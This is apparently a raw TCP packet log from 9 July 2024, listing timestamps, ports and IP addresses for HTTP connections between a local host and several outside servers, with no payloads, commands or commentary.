Jul 9, 2024 12:08:42.415359020 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.415383101 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.415445089 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.415462017 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.415477991 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.415481091 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.415508032 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.416420937 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.416440964 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.416459084 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.416475058 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.416496992 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.416507006 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.416507006 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.416524887 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.416543961 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.416559935 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.416567087 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.416577101 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.416594982 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.417268991 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.417289972 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.417309046 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.417315006 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.417347908 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.417416096 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.417433977 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.417452097 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.417469025 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.417562962 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.417579889 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.417597055 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.417598009 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.417630911 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.418400049 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.418418884 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.418437958 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.418456078 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.418459892 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.418473005 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.418488979 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.418489933 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.418498993 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.418533087 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.418544054 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.418562889 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.418576956 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.418934107 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.419392109 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.419409990 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.419425011 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.419435024 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.419447899 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.419465065 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.419466972 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.419482946 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.419497013 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.419536114 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.419554949 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.419572115 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.419579983 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.419617891 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.420238018 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.420263052 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.420315027 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.534929991 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.534981966 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.534998894 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535103083 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535115957 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.535207987 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535224915 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535240889 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535258055 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535309076 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.535330057 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.535548925 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535645008 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535660982 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535676956 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535691977 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.535751104 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.535752058 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.536050081 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536067009 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536082029 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536091089 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.536098957 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536118031 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536123037 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.536159992 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.536612988 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536628008 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536645889 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536660910 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536664009 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.536678076 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536693096 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536695004 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.536710024 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536726952 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536732912 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.536745071 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.536767006 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.537444115 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.537458897 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.537483931 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.537487030 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.537503958 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.537522078 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.537522078 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.537538052 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.537554026 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.537554026 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.537591934 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.538129091 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.538145065 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.538161039 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.538177967 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.538177967 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.538192987 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.538209915 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.538209915 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.538227081 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.538242102 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.538243055 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.538275957 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.539096117 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539117098 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539133072 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539150000 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539151907 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.539165974 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539182901 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539191008 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.539196014 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539211988 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539222002 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.539227009 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539244890 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539247990 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.539285898 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.539961100 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539978981 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.539994955 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540009975 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540014029 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.540026903 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540043116 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.540044069 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540059090 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540076017 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540076017 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.540092945 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540106058 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.540844917 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540862083 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540877104 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540884018 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.540904045 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540913105 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.540920973 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540936947 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540952921 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540957928 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.540968895 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.540985107 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.540986061 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.541024923 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.541860104 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.541877985 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.541893959 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.541909933 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.541913033 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.541924953 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.541939974 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.541943073 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.541955948 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.541970968 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.541971922 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.541987896 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542016029 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.542772055 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542788029 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542804003 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542807102 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.542820930 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542835951 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542838097 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.542853117 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542870045 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542870045 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.542886019 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542902946 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.542902946 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.542943001 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.543688059 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.543704987 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.543721914 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.543739080 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.543740034 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.543754101 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.543770075 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.543771029 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.543786049 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.543801069 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.543802977 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.543819904 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.543833971 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.544301987 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.544548988 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.544565916 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.544581890 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.544588089 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.544609070 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.544615984 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.544626951 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.544642925 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.544656992 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.544658899 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.544673920 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.544689894 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.544691086 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.544723988 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.545495987 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.545512915 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.545527935 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.545545101 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.545545101 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.545562029 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.545576096 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.589086056 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.627911091 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.627938986 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.627957106 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.628026009 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.628041983 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.628057957 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.628112078 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.628160954 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.628180981 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:42.628223896 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.642723083 CEST	49719	80	192.168.2.9	103.42.108.46
Jul 9, 2024 12:08:42.647542000 CEST	80	49719	103.42.108.46	192.168.2.9
Jul 9, 2024 12:08:47.710391045 CEST	49720	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:47.715506077 CEST	80	49720	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:47.715634108 CEST	49720	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:47.740792990 CEST	49720	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:47.745903969 CEST	80	49720	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:48.320627928 CEST	80	49720	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:48.320832014 CEST	80	49720	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:48.320919991 CEST	49720	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:49.247827053 CEST	49720	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:50.298329115 CEST	49721	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:50.303318977 CEST	80	49721	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:50.303447962 CEST	49721	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:50.338512897 CEST	49721	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:50.345856905 CEST	80	49721	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:50.914962053 CEST	80	49721	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:50.916418076 CEST	80	49721	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:50.916533947 CEST	49721	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:51.858921051 CEST	49721	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:52.901879072 CEST	49722	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:52.907078981 CEST	80	49722	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:52.907186985 CEST	49722	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:52.935950041 CEST	49722	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:52.940941095 CEST	80	49722	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:52.941096067 CEST	80	49722	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:53.522047997 CEST	80	49722	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:53.522277117 CEST	80	49722	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:53.522402048 CEST	49722	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:54.465869904 CEST	49722	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:55.512022972 CEST	49723	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:55.517699957 CEST	80	49723	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:55.517851114 CEST	49723	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:55.539602041 CEST	49723	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:55.545770884 CEST	80	49723	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:56.068378925 CEST	80	49723	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:56.070065975 CEST	80	49723	188.114.96.3	192.168.2.9
Jul 9, 2024 12:08:56.070154905 CEST	49723	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:56.112679958 CEST	49723	80	192.168.2.9	188.114.96.3
Jul 9, 2024 12:08:56.117695093 CEST	80	49723	188.114.96.3	192.168.2.9
Jul 9, 2024 12:09:02.687098980 CEST	49724	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:02.692122936 CEST	80	49724	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:02.692229986 CEST	49724	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:02.725888014 CEST	49724	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:02.731539965 CEST	80	49724	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:03.473615885 CEST	80	49724	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:03.476355076 CEST	80	49724	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:03.476442099 CEST	49724	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:04.232331991 CEST	49724	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:05.279531002 CEST	49725	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:05.284660101 CEST	80	49725	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:05.284742117 CEST	49725	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:05.318238974 CEST	49725	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:05.323681116 CEST	80	49725	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:06.086818933 CEST	80	49725	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:06.088398933 CEST	80	49725	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:06.088454008 CEST	49725	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:06.854581118 CEST	49725	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:07.899863958 CEST	49726	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:07.904834032 CEST	80	49726	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:07.905137062 CEST	49726	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:07.931706905 CEST	49726	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:07.936736107 CEST	80	49726	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:07.936764956 CEST	80	49726	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:08.681819916 CEST	80	49726	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:08.729675055 CEST	49726	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:08.847922087 CEST	80	49726	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:08.847984076 CEST	49726	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:09.435870886 CEST	49726	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:10.469899893 CEST	49727	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:10.475169897 CEST	80	49727	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:10.475258112 CEST	49727	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:10.495851994 CEST	49727	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:10.500883102 CEST	80	49727	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:11.249919891 CEST	80	49727	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:11.249984026 CEST	80	49727	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:11.250102997 CEST	49727	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:11.261158943 CEST	49727	80	192.168.2.9	134.122.138.60
Jul 9, 2024 12:09:11.266052008 CEST	80	49727	134.122.138.60	192.168.2.9
Jul 9, 2024 12:09:16.568206072 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:16.573338032 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:16.573528051 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:16.606161118 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:16.611078024 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.054672003 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.054703951 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.054721117 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.054745913 CEST	49728	80	192.168.2.9	35.212.86.52
Jul 9, 2024 12:09:17.054984093 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.054999113 CEST	80	49728	35.212.86.52	192.168.2.9
Jul 9, 2024 12:09:17.055013895 CEST	80	49728	35.212.86.52	192.168.2.9
